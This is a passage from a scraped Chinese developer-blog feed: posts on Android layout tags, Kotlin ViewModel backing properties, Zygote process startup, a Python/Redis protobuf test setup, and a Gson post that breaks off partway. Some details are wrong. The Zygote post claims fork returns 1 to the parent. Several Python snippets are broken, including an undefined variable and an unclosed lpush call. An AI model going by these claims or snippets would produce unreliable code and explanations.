  • 降低布局深度:使用merge标签或者布局层级优化等手段来减少View树的深度;

  • 布局懒加载:使用ViewStub,AsyncLayoutInflater等布局加载手段,来确保只有当需要该布局时,该布局才会被创建,优化布局加载速度;

  • 布局重用:通过include等标签重用界面布局,减少GPU重复工作


解析:


<merge/>


<merge/>标签通常用于将其包裹的内容直接添加到父布局以达到降低布局深度的目的,一个普通的layout布局文件及其结构如下图所示:


mianshi009-1


当将该布局文件的根标签修改为<merge/>标签后,得到的布局结构如下图所示:


mianshi009-2


可以看出<merge/>标签内子元素的父布局均变更为顶上的FrameLayout,进而使得布局深度减1.


结合以上例子,我们可以得出 <merge/>标签的主要工作原理是将本应在<merge/>标签节点的Layout与该节点的父布局进行重用,以达到优化布局深度的目的,对<merge/>标签内包含的其他布局结构而言并不能起到优化深度的作用


使用<merge/>标签有以下注意事项:



  • 布局文件中<merge/>标签只能作为根标签;

  • 使用LayoutInflater加载<merge/>标签为根的布局文件时,必须设置attachToRoot为true,以确保重用父布局;

  • <merge/>标签携带的参数没有实际意义

  • <merge/>标签并不是真实存在的View或者ViewGroup,其相当于一种标记,用来表示其所包裹的内容应被添加到其上级布局,真实存在的ViewGroup是引用<merge/>标签布局的上一级布局


<ViewStub/>


<ViewStub/>标签通常用于声明布局中可以被延时加载的部分,在首次布局文件加载时处于占位状态,当调用inflate或者setVisible时才会完成加载动作,一个普通的使用<ViewStub/>布局文件及其结构如下图所示:


mianshi009-3


当执行ViewStub.inflate之后,得到的布局结构如下图所示:


mianshi009-4


可以看出ViewStub区域被其对应的布局结构替换掉了。


结合上述例子,我们可以得出使用<ViewStub/>标签可以管理在页面首次初始化时不需要加载的布局,提升渲染速度,等到需要这部分UI时再进行加载


<include/>


<include/>标签可以将一些公共布局文件在多处重复引用,以便提升布局效率,例如各个页面都有的状态栏,当使用自定义布局实现后,则可以使用<include/>标签进行重复引用。


<include/>标签使用示例代码如下:


 <?xml version="1.0" encoding="utf-8"?>
 <merge xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
     <LinearLayout
         android:layout_width="wrap_content"
         android:layout_height="wrap_content">
 
         <include
             android:id="@+id/view_stub"
             layout="@layout/test"/>
 
         <com.poseidon.looperobserver.customview.CustomView
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:layout_gravity="center"
             android:id="@+id/custom_view"
             android:text="move me!" />
 
     </LinearLayout>
 
 </merge>

使用<include/>标签得到的布局结构如下图所示:


mianshi009-5


可以看出从布局结构来讲并无明显差异,在初次加载就会直接构建在View树上。


作者:小海编码日记
链接:https://juejin.cn/post/7224078438722666557
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android中用ViewModel优雅地管理数据

前言 将应用的界面数据与界面(Activity/Fragment)分离可以让您更好地遵循我们前面讨论的单一责任原则。activity 和 fragment 负责将视图和数据绘制到屏幕上,而 ViewModel 则负责存储并处理界面所需的所有数据。 数据变量从 ...
继续阅读 »

前言


将应用的界面数据与界面(Activity/Fragment)分离可以让您更好地遵循我们前面讨论的单一责任原则。activity 和 fragment 负责将视图和数据绘制到屏幕上,而 ViewModel 则负责存储并处理界面所需的所有数据。


数据变量从 XXFragment 移至 XXViewModel



  1. 将数据变量 scorecurrentWordCountcurrentScrambledWord 移至 XXViewModel 类。


class XXViewModel : ViewModel() {

private var score = 0
private var currentWordCount = 0
private var currentScrambledWord = "test"
...


请注意这些属性仅对 ViewModel 可见,界面无法对其进行访问



想要解决此问题,就不能将这些属性的可见性修饰符设为 public,不应该让数据可被其他类修改。因为外部类可能会以不符合视图模型中指定的游戏规则的预料外方式对数据做出更改。外部类有可能会将 score 更改为其他错误的值。


ViewModel 之内,数据应可修改,数据应设为 privatevar。而在 ViewModel 之外,数据应可读取但无法修改,因此数据应作为 publicval 公开。为了实现此行为,Kotlin 提供了称为后备属性的功能。


后备属性


使用后备属性,可以从 getter 返回确切对象之外的某些其他内容。


Kotlin 框架会为每个属性生成 getter 和 setter。


对于 getter 和 setter 方法,可以替换其中一个方法或同时替换两个方法,并提供自定义行为。为了实现后备属性,需要替换 getter 方法以返回只读版本的数据。后备属性示例:


private var _count = 0

val count: Int
get() = _count

举例而言,在应用中,需要应用数据仅对 ViewModel 可见:


ViewModel 类之内:



  • _count 属性设为 private 且可变。因此,只能在 ViewModel 类中对其访问和修改。惯例是为 private 属性添加下划线前缀。


ViewModel 类之外:



  • Kotlin 中的默认可见性修饰符为 public,因此 count 是公共属性,可从界面控制器等其他类对其进行访问。由于只有 get() 方法会被替换,所以此属性不可变且为只读状态。当外部类访问此属性时,它会返回 _count 的值且其值无法修改。这可以防止外部类擅自对 ViewModel 内的应用数据进行不安全的更改,但允许外部调用方安全地访问该应用数据的值。


将后备属性添加到 currentScrambledWord



  • XXViewModel 中,更改 currentScrambledWord 声明以添加一个后备属性。现在,只能在 XXViewModel 中对 _currentScrambledWord 进行访问和修改。界面控制器 XXFragment 可以使用只读属性 currentScrambledWord 读取其值。


private var _currentScrambledWord = "test"
val currentScrambledWord: String
get() = _currentScrambledWord


  • XXFragment 中,更新 updateNextWordOnScreen() 方法以使用只读的 viewModel 属性 currentScrambledWord


private fun updateNextWordOnScreen() {
binding.textViewUnscrambledWord.text = viewModel.currentScrambledWord
}


  • XXFragment 中,删除 onSubmitWord()onSkipWord() 方法内的代码。稍后您将实现这些方法。现在,您应该能够不出错误地编译代码了。


注意:勿公开 ViewModel 中的可变数据字段,确保无法从其他类修改此数据。ViewModel 内的可变数据应始终设为 private


作者:子不语Any
链接:https://juejin.cn/post/7224496484254810167
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

认识Zygote

Zygote的父进程是init进程,他孵化了SystemServer进程,以及我们的应用进程。 一、Zygote作用 功能主要是 :启动安卓虚拟机DVM :启动SystemServer(Android系统进程) :孵化应用进程 :加载 常用类 JNI函数 主题...
继续阅读 »

Zygote的父进程是init进程,他孵化了SystemServer进程,以及我们的应用进程。


一、Zygote作用


功能主要是


:启动安卓虚拟机DVM


:启动SystemServer(Android系统进程)


:孵化应用进程


:加载 常用类 JNI函数 主题资源 共享库 等 


Zygote进程和系统其他进程的关系如图所示:



二、Zygote进程启动和应用进程启动


如图所示:



1.Zygote进程启动流程


Zygote是由init进程启动的,init进程是Linux系统启动后用户空间的第一个进程, 首先会去加载init.rc配置文件,然后启动其中定义的系统服务(Zygote,ServiceManager等), Init进程创建Zygote时,会调用app_main.cpp的main() 方法, 启动Zygote后,启动安卓虚拟机,接着在native层中通过jni调用java层的ZygoteInit的main()。


<!--app_main.cpp
int main(int argc, char* const argv[])
{
// 创建Android运行时对象
AppRuntime runtime(argv[0], computeArgBlockSize(argc, argv));
// 代码省略...

// 调用AppRuntime.start方法,
// 而AppRuntime是AndroidRuntime的子类,并且没有重写start方法
// 因此调用的是AndroidRuntime的start方法
runtime.start("com.android.internal.os.ZygoteInit", args, zygote);
}
-->

这里一共就做了两件事,第一件创建AppRuntime,第二件调用start方法,详细看一下start方法:


<!--
/*
* AndroidRuntime.cpp
* Start the Android runtime.
*/
void AndroidRuntime::start(const char* className, const Vector<String8>& options, bool zygote)
{
/* start the virtual machine */
JNIEnv* env;
if (startVm(&mJavaVM, &env, zygote, primary_zygote) != 0) {
return;
}

/*
* Register android functions.
*/
if (startReg(env) < 0) {
ALOGE("Unable to register all android natives\n");
return;
}
/*
* Start VM. This thread becomes the main thread of the VM, and will
* not return until the VM exits.
*/
jmethodID startMeth = env->GetStaticMethodID(startClass, "main","([Ljava/lang/String;)V");
env->CallStaticVoidMethod(startClass, startMeth, strArray);
}
-->

startVM -- 启动Java虚拟机 


startReg -- 注册JNI 通过JNI调用Java方法,执行com.android.internal.os.ZygoteInit 的 main 方法。


ZygoteInit .main主要干了4个事情,如下:


<!--
/*frameworks/base/core/java/com/android/internal/os/ZygoteInit.java*/
public static void main(String[] argv) {
ZygoteServer zygoteServer = null;
...
try {
...
// 1.preload提前加载框架通用类和系统资源到进程,加速进程启动
preload(bootTimingsTraceLog);
...
// 2.创建zygote进程的socket server服务端对象
zygoteServer = new ZygoteServer(isPrimaryZygote);
...
// 3.启动SystemServer(Android系统进程)
forkSystemServer
...
// 4.进入死循环,等待AMS发请求过来
caller = zygoteServer.runSelectLoop(abiList);
} catch (Throwable ex) {
...
} finally {
...
}
...
caller.run();//执行MethodAndArgsCaller包装后的runnable
}
-->

1.创建了ZygoteServer:这是一个Socket相关的服务,目的是进行跨进程通信。 


2.预加载preload:预加载相关的资源。 


3.创建SystemServer进程: 通过forkSystemServer分裂出了两个进程,一个Zygote进程,一个SystemServer进程。而且由于是分裂的, 所以新分裂出来的进程也拥有虚拟机,也能调用JNI,也拥有预加载的资源,也会执行后续的代码。 


4.执行runSelectLoop():内部是一个while(true)循环,等待AMS创建新的进程的請求消息。(想想Looper.loop()) 


2.Zygote启动应用进程流程


zygote进程通过Socket监听接收AMS的请求,fork创建子应用进程,然后pid为0时进入子进程空间,然后在ZygoteInit#zygoteInit中完成进程的初始化动作。


先看一下ZygoteServer.runSelectLoop


<!--
/*frameworks/base/core/java/com/android/internal/os/ZygoteServer.java*/
Runnable runSelectLoop(String abiList) {
// 进入死循环监听
while (true) {
while (--pollIndex >= 0) {
if (pollIndex == 0) {
...
} else if (pollIndex < usapPoolEventFDIndex) {
// Session socket accepted from the Zygote server socket
// 得到一个请求连接封装对象ZygoteConnection
ZygoteConnection connection = peers.get(pollIndex);
// processCommand函数中处理AMS客户端请求
final Runnable command = connection.processCommand(this, multipleForksOK);
...
}
}
}
}
-->

再通過ZygoteConnection中处理AMS创建新应用进程的请求。


 <!--
//ZygoteConnection.java
Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
...
// 1.fork创建应用子进程
pid = Zygote.forkAndSpecialize(...);
try {
if (pid == 0) {
...
// 2.pid为0,当前处于新创建的子应用进程中,处理请求参数
return handleChildProc(parsedArgs, childPipeFd, parsedArgs.mStartChildZygote);
} else {
...
handleParentProc(pid, serverPipeFd);
}
} finally {
...
}
}

private Runnable handleChildProc(ZygoteArguments parsedArgs,
FileDescriptor pipeFd, boolean isZygote) {
...
// 关闭从父进程zygote继承过来的ZygoteServer服务端地址
closeSocket();
...
if (parsedArgs.mInvokeWith != null) {
...
} else {
if (!isZygote) {
// 继续进入ZygoteInit#zygoteInit继续完成子应用进程的相关初始化工作
return ZygoteInit.zygoteInit(parsedArgs.mTargetSdkVersion,
parsedArgs.mDisabledCompatChanges,
parsedArgs.mRemainingArgs, null /* classLoader */);
} else {
...
}
}
}
-->

通过调用 Zygote.forkAndSpecialize()函数来创建子进程,会有一个返回值pid,分别在子进程和父进程各返回一次, 子进程返回 0 ,父进程返回1,通过判断pid为0还是1来判断当前是是父进程还是子进程;默认子进程继承父进程是继承了父进程的一切资源 分叉后的进程会将socket停掉并重新初始化一些数据,但preload的资源和类保和VM留了下来,应用进程继承了Zygote进程所创建的虚拟机, 应用进程的在使用的时候就不需要再去创建,自此新的进程和zygote进程分道扬镳。  


注意:其中包括应用进程的主线程也是在这里从zygote进程继承而来的,应用进程的主线程并不是自己主动创建的新线程。


Zygote启动应用进程的时候不管父进程中有多少个线程,子进程在创建的时候都只有一个线程,对于子进程来说,多出现的线程在子进程中都不复存在, 因为如果其他线程也被复制到子进程,这时在子进程中就会存在一些问题,有时程序在执行的过程中可能会形成死锁,状态不一致等,所以比较安全的做法是在创建子进程的时候,只保留父进程的 主线程,其他都在暂停(此时线程资源是释放的所以不会继承到子进程),子进程启动完后再重启这些线程。


ZygoteInit.zygoteInit 方法完成应用进程初始化:


<!--
/*frameworks/base/core/java/com/android/internal/os/ZygoteInit.java*/
public static Runnable zygoteInit(int targetSdkVersion, long[] disabledCompatChanges,
String[] argv, ClassLoader classLoader) {
...
// 原生添加名为“ZygoteInit ”的systrace tag以标识进程初始化流程
Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "ZygoteInit");
RuntimeInit.redirectLogStreams();
// 1.RuntimeInit#commonInit中设置应用进程默认的java异常处理机制
RuntimeInit.commonInit();
// 2.ZygoteInit#nativeZygoteInit函数中JNI调用启动进程的binder线程池
ZygoteInit.nativeZygoteInit();
// 3.RuntimeInit#applicationInit中反射创建ActivityThread对象并调用其“main”入口方法
return RuntimeInit.applicationInit(targetSdkVersion, disabledCompatChanges, argv,
classLoader);
}
-->

1.设置应用进程默认的java异常处理机制(可以实现监听、拦截应用进程所有的Java crash的逻辑);


2.JNI调用启动进程的binder线程池(注意应用进程的binder线程池资源是自己创建的并非从zygote父进程继承的);


3.通过反射创建ActivityThread对象并调用其“main”入口方法。


最后再看看RuntimeInit.applicationInit做了啥:


<!--
/*frameworks/base/core/java/com/android/internal/os/RuntimeInit.java*/
protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
String[] argv, ClassLoader classLoader) {
...
// 结束“ZygoteInit ”的systrace tag
Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
// Remaining arguments are passed to the start class's static main
return findStaticMain(args.startClass, args.startArgs, classLoader);
}

protected static Runnable findStaticMain(String className, String[] argv,
ClassLoader classLoader) {
Class<?> cl;
try {
// 1.反射加载创建ActivityThread类对象
cl = Class.forName(className, true, classLoader);
} catch (ClassNotFoundException ex) {
...
}
Method m;
try {
// 2.反射调用其main方法
m = cl.getMethod("main", new Class[] { String[].class });
} catch (NoSuchMethodException ex) {
...
} catch (SecurityException ex) {
...
}
...
// 3.触发执行以上逻辑
return new MethodAndArgsCaller(m, argv);
}
-->

主要就是调用ActivityThread.main方法,从此进入ActivityThread中。


三、参考资料


【Zygote进程的启动 --学习笔记】 blog.csdn.net/qq\_4223721…


【说说你对zygote的理解?】http://www.cnblogs.com/rxh1050/p/1…


【Zygote Fork机制与资源预加载】http://www.jianshu.com/p/be384613c…


作者:zzy的学习笔记
链接:https://juejin.cn/post/7220995317633302584
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

零散逻辑验证不再烦恼:基于Python和Redis的实践

在开发过程中,经常需要验证某个逻辑,或者某种设计方案,但是我们Android的编译运行会随着项目的迭代变慢,此时验证问题较为麻烦,很多工程师会选择新建一个新的项目去验证,但是新建项目会面临很多基础组件的调用问题,如果在项目之外创建的项目为其配备对应的基件,由会...
继续阅读 »

在开发过程中,经常需要验证某个逻辑,或者某种设计方案,但是我们Android的编译运行会随着项目的迭代变慢,此时验证问题较为麻烦,很多工程师会选择新建一个新的项目去验证,但是新建项目会面临很多基础组件的调用问题,如果在项目之外创建的项目为其配备对应的基件,由会面临开头的问题。


这时,拥有一个能验证零散逻辑,且不会造成上述问题的工程就尤为重要了。


经过筛选,我们可以创建一个python 项目,在平时的开发中,我们可以快速验证某些逻辑,当然,这个验证还是要看你有没有这个需求。


为你的项目创建Python 项目



如果你的团队测试有python经验,那可以向他们取经,如果没有,就要酌情新建了,要尊重测试岗位的同事。



我创建的需求是,我需要一个测试平台,验证IM相关的一些逻辑是否可行,刚好公司没有测试接口的项目,所以直接搭建了一个python 项目


一、环境



  • Mac pro 12.6 版本

  • Pycharm (PyCharm 2022.3.1 (Community Edition))

  • Python 3.x

  • redis 缓存

  • 传输数据格式: protocol buffers(PB)


二、基建搭建


创建项目就不用说了,使用pycharm 创建即可


2.1 pb 编译


我们可以同Android开发做对比,pb 的使用流程应该是一样的。


protocol buffers 提供了Java、kotlin及python的编译,这直接决定了使用pb传输的公司能否使用python进行接口自动化测试。在python 中使用pb传输,步骤如下:



  1. 安装必要的库:你需要安装Google的protobuf库,它提供了用于编写和读取protocol buffers的Python API。可以使用以下命令来安装:


pip install protobuf


  1. 编写protocol buffer定义文件:使用protobuf语言编写定义文件,定义接口请求和响应的消息格式。(这一步基本上不需要,我们项目都是定义好的)

  2. 生成Python代码:使用protobuf编译器生成Python代码,这些代码包括消息类、编码和解码函数等。可以使用以下命令来生成Python代码:


protoc --python_out=. your_proto_file.proto


  1. 编写测试脚本:使用Python编写测试脚本,根据你的测试需求构造请求消息,发送请求到服务器,并验证响应消息是否符合预期。(这是自动化测试流程,当然我需要的是逻辑验证,这里就按自己的需求即可)


例子:


用于向服务器发送一个消息,并验证服务器的响应


import your_proto_file_pb2
import requests

# 构造请求消息
request_msg = your_proto_file_pb2.RequestMessage()
request_msg.user_id = 123
request_msg.request_type = "get_data"

# 发送请求
response = requests.post('http://your-server.com/api', data=request_msg.SerializeToString())

# 解析响应消息
response_msg = your_proto_file_pb2.ResponseMessage()
response_msg.ParseFromString(response.content)

# 验证响应消息是否符合预期
assert response_msg.result == "success"

是不是非常简单。


2.1.1 存在问题


  1. 实际需求中,pb 的数量巨多

  2. python 入门真的非常简单,上述代码谁都能整明白,但是为什么做不好一个项目呢?


2.1.2 解决问题


  1. 实际需求中,pb 的数量巨多


利用脚本,统一编译, 使用shell 非常简单(哈哈 在python项目中使用shell),我就直接写出来了。


#!/bin/bash
PB_DIR=/proto
KOTLIN_OUT_DIR=../
for file in ${PB_DIR}/*.proto; do
# 获取文件名(不包含扩展名)
echo ${file}
filename=$(basename -- "${file}")
filename="${filename%.*}"


protoc --proto_path=${PB_DIR} --python_out=${KOTLIN_OUT_DIR} ${file}

done

执行脚本之后,会统一生成pb文件。



  1. python 入门真的非常简单,上述代码谁都能整明白,但是为什么做不好一个项目呢?


这就是后续要讨论的,将代码工程化。


2.2 搭建网络请求框架


在Android 开发中,网络请求我们一般都是统一初始化,后来的便利性架构,可以添加拦截器等很爽的处理方式,python 的网络请求非常简单。


import requests
import hashlib
import time
from collections import OrderedDict

class NetworkUtils:

def __init__(self):
self.url = "baseurl"
# 有序字典
self.headers = OrderedDict()
self.payload = None
# SSL 证书验证
self.cert = ('client.crt',
'client.key')
self.verify = 'ca.crt'
self.response = None

def set_headers(self, head_map):
for key, value in head_map.items():
self.headers[key] = value

def set_payload(self, payload):
self.payload = payload

def set_cert(self, cert):
self.cert = cert

def set_verify(self, verify):
self.verify = verify

def request(self, path):
# 可以做统一的拦截工作
self.response = requests.request("POST", self.url,
headers=self.headers,
data=self.payload,
cert=self.cert,
verify=self.verify)

@staticmethod
def get_sign(map, key, body):
#hashlib 加密数据等
return hashlib.sha256(data.encode("utf-8")).hexdigest()

2.3 使用


def test_guest():
try:
# 构造请求消息
request = your_proto_file_pb2.RequestMessage() request_msg.user_id = 123
request.request_type = "get_data"
# 转成二进制 pb 序列化
payload = request.SerializeToString()
network_utils = NetworkUtils()
network_utils.set_payload(payload)
network_utils.set_headers(OrderedDict())
network_utils.request("path")
# 解析响应消息
response_msg = your_proto_file_pb2.ResponseMessage()
response_msg.ParseFromString(response.content)
print(res_response)
except Exception as ex:
print("Found Error in auth phase:%s" % str(ex))


if __name__ == '__main__':
test_guest()

三、缓存


3.1 常见的缓存


在Python中,可以使用多种方式缓存数据,下面是其中的几种:



  1. 使用Python内置的functools.lru_cache装饰器,它可以自动地为函数添加缓存机制,从而避免函数重复计算。使用functools.lru_cache时需要注意函数的参数和返回值必须是可哈希的。


import functools

@functools.lru_cache(maxsize=128)
def fibonacci(n):
if n < 2:
return n
return fibonacci(n-1) + fibonacci(n-2)


  1. 使用Python内置的cache模块,它提供了一个简单易用的内存缓存实现,可以方便地缓存任意可哈希的对象。


import cache

my_cache = cache.Cache()
my_cache.set("key", "value")
value = my_cache.get("key")


  1. 使用第三方的缓存库,例如redismemcached等,这些库可以将缓存数据存储在内存或磁盘中,支持多种数据结构,可以实现分布式缓存等高级功能。


import redis

redis_client = redis.Redis(host='localhost', port=6379)
redis_client.set('key', 'value')
value = redis_client.get('key')

3.2 使用建议



  1. 使用本地内存缓存


如果测试数据量较小,可以使用Python内置的dict或者第三方库(如cachetools)来实现本地内存缓存。这种方法的优点是速度快,不需要网络请求和数据序列化等操作,但缺点是缓存的生命周期与应用程序相同,程序重启后缓存会被清空。



  1. 使用本地文件缓存


如果测试数据量较大,或者需要持久化缓存数据,可以将缓存数据保存在本地文件中,例如使用Python内置的shelve模块,或者第三方库(如diskcache)。这种方法的优点是可以实现持久化缓存,缺点是速度较慢,需要进行数据序列化和文件读写操作。



  1. 使用远程缓存


如果需要在不同的机器之间共享缓存数据,可以使用远程缓存,例如使用Redis等内存数据库。这种方法的优点是可以实现分布式缓存,多个应用程序之间可以共享缓存数据,缺点是需要网络请求,速度相对较慢。


针对服务接口自动测试的缓存问题,需要根据实际情况和需求选择合适的缓存方式。如果测试数据量较小,可以考虑使用本地内存缓存,如果需要持久化缓存数据,可以使用本地文件缓存,如果需要分布式缓存,可以使用远程缓存。同时,需要注意缓存的生命周期、缓存数据的一致性以及缓存的清理等问题。


3.3 redis


Redis是一个高性能、非关系型的内存数据库,常用于缓存、队列、计数器、排行榜等场景。在Python中,可以使用第三方库redis-py来连接和操作Redis数据库。下面介绍一下Redis在Python中的使用方式,并提供一个基于redis-py的工具类实现。


3.3.1 安装redis-py库

pip install redis

3.3.2 连接Redis数据库

在使用redis-py库操作Redis数据库之前,需要先建立与Redis数据库的连接。redis-py提供了Redis类来连接Redis数据库


import redis

# 建立与Redis数据库的连接
r = redis.Redis(host='localhost', port=6379, db=0)

以上代码建立了一个默认的Redis连接,连接到本地Redis服务器,端口号为6379,使用默认的0号数据库。如果需要连接其他Redis服务器或其他数据库,可以修改host、port和db参数。


3.3.3 存储数据

连接到Redis数据库后,可以使用redis-py提供的方法来存储数据


# 存储字符串类型的数据
r.set('name', 'Tom')

# 存储哈希类型的数据
r.hset('user', 'name', 'Tom')
r.hset('user', 'age', 18)

# 存储列表类型的数据
r.lpush('mylist', 'a', 'b', 'c')

3.3.4 获取数据

# 获取字符串类型的数据
name = r.get('name')
print(name)

# 获取哈希类型的数据
user = r.hgetall('user')
print(user)

# 获取列表类型的数据
mylist = r.lrange('mylist', 0, -1)
print(mylist)

3.3.5 删除数据

# 删除字符串类型的数据
r.delete('name')

# 删除哈希类型的数据
r.hdel('user', 'age')

# 删除列表类型的数据
r.ltrim('mylist', 1, -1)

3.3 redis 工具类封装


基于redis-py的Redis工具类,可以方便地对Redis进行连接、存储、获取和删除等操作:


import redis

class RedisClient:
def __init__(self, host='localhost', port=6379, db=0):
self.host = host
self.port = port
self.db = db
self.client = redis.Redis(host=self.host, port=self.port, db=self.db)

def set(self, key, value, expire=None):
self.client.set(key, value, ex=expire)

def get(self, key):
return self.client.get(key)

def hset(self, name, key, value):
self.client.hset(name, key, value)

def hgetall(self, name):
return self.client.hgetall(name)

def lpush(self, name, *values):
self.client.lpush(name
def lrange(self, name, start=0, end=-1):
return self.client.lrange(name, start, end)

def delete(self, *keys):
self.client.delete(*keys)

def hdel(self, name, *keys):
self.client.hdel(name, *keys)

def ltrim(self, name, start, end):
self.client.ltrim(name, start, end)

实现了常见的Redis操作,包括set/get、hset/hgetall、lpush/lrange、delete、hdel和ltrim等方法。使用时,只需要创建RedisClient对象并调用相应的方法即可


# 创建RedisClient对象
redis_client = RedisClient()

# 存储数据
redis_client.set('name', 'Tom')
redis_client.hset('user', 'name', 'Tom')
redis_client.lpush('mylist', 'a', 'b', 'c')

# 获取数据
name = redis_client.get('name')
user = redis_client.hgetall('user')
mylist = redis_client.lrange('mylist', 0, -1)

# 删除数据
redis_client.delete('name')
redis_client.hdel('user', 'name')
redis_client.ltrim('mylist', 1, -1)

总结


在开发过程中,为了快速验证某些逻辑,可以考虑创建一个Python项目。并要多使用面向对象的方式编码,可以提高代码的可读性和可维护性。


另外,在进行接口自动测试时,可以使用Python中的缓存工具,例如Redis,来提高接口的性能和效率。通过使用Redis的缓存,可以减少请求的响应时间,提高系统的性能和可用性。


这不,有了这个基础,尽情玩吧!!!


作者:麦客奥德彪
链接:https://juejin.cn/post/7224330515535904825
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

再谈Gson数据解析

从一个例子出发 开发的过程中,总会遇到各种各样有趣的问题,Gson是android序列化中比较老牌的框架了,本片是通过一个小例子出发,让我们更加理解gson序列化过程中的细节与隐藏的“小坑”,避免走入理解误区! 我们先举个例子吧,以下是一个json字符串 { ...
继续阅读 »

从一个例子出发


开发的过程中,总会遇到各种各样有趣的问题,Gson是android序列化中比较老牌的框架了,本片是通过一个小例子出发,让我们更加理解gson序列化过程中的细节与隐藏的“小坑”,避免走入理解误区!


我们先举个例子吧,以下是一个json字符串


{
"new_latent_count": 8,
"data": {
"length": 25,
"text": "Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur."
}
}
复制代码

通过插件,我们很容易生成以下类



data class TestData(
val `data`: Data,
val new_latent_count: Int
)

data class Data(
val length: Int,
val text: String
)
复制代码

这个时候有意思的是,假如我们把上述中的数据类TestData变成以下这个样子


data class TestData(
// 这里发生了改变,把Data类型变成Any类型
val `data`: Any,
val new_latent_count: Int
)
复制代码

此时,我们再用Gson去把上文的json数据去进行解析生成一个数据类TestData,此时请问


val fromJson = Gson().fromJson(
"{\n" +
" "new_latent_count": 8,\n" +
" "data": {\n" +
" "length": 25,\n" +
" "text": "Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur."\n" +
" }\n" +
"}", TestData::class.java
)

提问时间到! 这里是为true还是false呢!!fromJson这个对象真正的实现类还是Any or Any的子类
Log.e("hello","${fromJson.data is Data}")
复制代码

如果你的回答是fasle,那么恭喜你,你已经足够掌握Gson的流程了!如果你回答是true,那么就要小心了!因为Gson里面的细节,很容易让你产生迷糊!(答案是false) 可能有小伙伴会问了,我只是把TestData 里面的data从Data类型变成了Any而已,本质上应该还是Data才对呀!别急,我们进入gson的源码查看!


Gson源码


虽然gson源码解析网上已经有很多很多了,但是我们从带着问题出发,能够更加的理解深刻,我们从fromJson出发,最终fromJson会调用到以下类


public <T> T fromJson(JsonReader reader, TypeToken<T> typeOfT) throws JsonIOException, JsonSyntaxException {
boolean isEmpty = true;
boolean oldLenient = reader.isLenient();
reader.setLenient(true);
try {
reader.peek();
isEmpty = false;
这里会获取一个TypeAdapter,然后通过TypeAdapter的read方法去解析数据
TypeAdapter<T> typeAdapter = getAdapter(typeOfT);
return typeAdapter.read(reader);
} catch (EOFException e) {
/*
* For compatibility with JSON 1.5 and earlier, we return null for empty
* documents instead of throwing.
*/
if (isEmpty) {
return null;
}
throw new JsonSyntaxException(e);
} catch (IllegalStateException e) {
throw new JsonSyntaxException(e);
} catch (IOException e) {
// TODO(inder): Figure out whether it is indeed right to rethrow this as JsonSyntaxException
throw new JsonSyntaxException(e);
} catch (AssertionError e) {
throw new AssertionError("AssertionError (GSON " + GsonBuildConfig.VERSION + "): " + e.getMessage(), e);
} finally {
reader.setLenient(oldLenient);
}
}
复制代码

接着,我们可以看看这个关键的getAdapter方法里面,做了什么!


public <T> TypeAdapter<T> getAdapter(TypeToken<T> type) {
Objects.requireNonNull(type, "type must not be null");
TypeAdapter<?> cached = typeTokenCache.get(type);
尝试获取一遍有没有缓存,有的话直接返回已有的TypeAdapter对象
if (cached != null) {
@SuppressWarnings("unchecked")
TypeAdapter<T> adapter = (TypeAdapter<T>) cached;
return adapter;
}
// threadLocalAdapterResults是一个ThreadLocal对象,线程相关

Map<TypeToken<?>, TypeAdapter<?>> threadCalls = threadLocalAdapterResults.get();
boolean isInitialAdapterRequest = false;
if (threadCalls == null) {
// 没有就生成一个hashmap,保存到ThreadLocal里面
threadCalls = new HashMap<>();
threadLocalAdapterResults.set(threadCalls);
isInitialAdapterRequest = true;
} else {
// the key and value type parameters always agree
@SuppressWarnings("unchecked")
TypeAdapter<T> ongoingCall = (TypeAdapter<T>) threadCalls.get(type);
if (ongoingCall != null) {
return ongoingCall;
}
}

TypeAdapter<T> candidate = null;
try {
FutureTypeAdapter<T> call = new FutureTypeAdapter<>();
threadCalls.put(type, call);
// 通过遍历factories,查找能够解析的type的adapter
for (TypeAdapterFactory factory : factories) {
candidate = factory.create(this, type);
if (candidate != null) {
call.setDelegate(candidate);
// Replace future adapter with actual adapter
threadCalls.put(type, candidate);
break;
}
}
} finally {
if (isInitialAdapterRequest) {
threadLocalAdapterResults.remove();
}
}

.....
}
复制代码

这里算是Gson中,查找adapter的核心流程了,这里我们能够得到几个消息,首先我们想要获取的TypeAdapter(定义了解析流程),其实是存在缓存的,而且是放在一个ThreadLocal里面,这也就意味着它其实是跟线程本地存储相关的!其次,我们也看到,这个缓存是跟当次的Gson对象是强关联的,这也就意味着,只有用同一个Gson对象,才能享受到缓存的好处!这也就是为什么我们常说尽可能的复用同一个Gson的原因。


仅接着,我们会看到这个循环 TypeAdapterFactory factory : factories 它其实是在找factories中,有没有哪个factory可能进行本次的解析,而factories,会在Gson对象初始化的时候,被填充各种各样的factory


image.png


接下来,我们外层拿到了TypeAdapter,就会调用这个read方法去解析数据


public abstract T read(JsonReader in) throws IOException;
复制代码

每个在factories的fatory子类所生成的TypeAdapter们,都会实现这个方法


而我们上文中的问题解答终于来了,问题就在这里,当我们数据类型中,有一个Any的属性的时候,它是怎么被解析的呢?它会被哪个TypeAdapter所解析,就是咱们问题的关键了!


答案是:ObjectTypeAdapter


我们再看它的read方法


@Override public Object read(JsonReader in) throws IOException {
// Either List or Map
Object current;
JsonToken peeked = in.peek();
重点在这里
current = tryBeginNesting(in, peeked);
if (current == null) {
return readTerminal(in, peeked);
}
复制代码

这里就会去解析数据


private Object tryBeginNesting(JsonReader in, JsonToken peeked) throws IOException {
switch (peeked) {
case BEGIN_ARRAY:
in.beginArray();
return new ArrayList<>();
case BEGIN_OBJECT:
in.beginObject();
return new LinkedTreeMap<>();
default:
return null;
}
}
复制代码

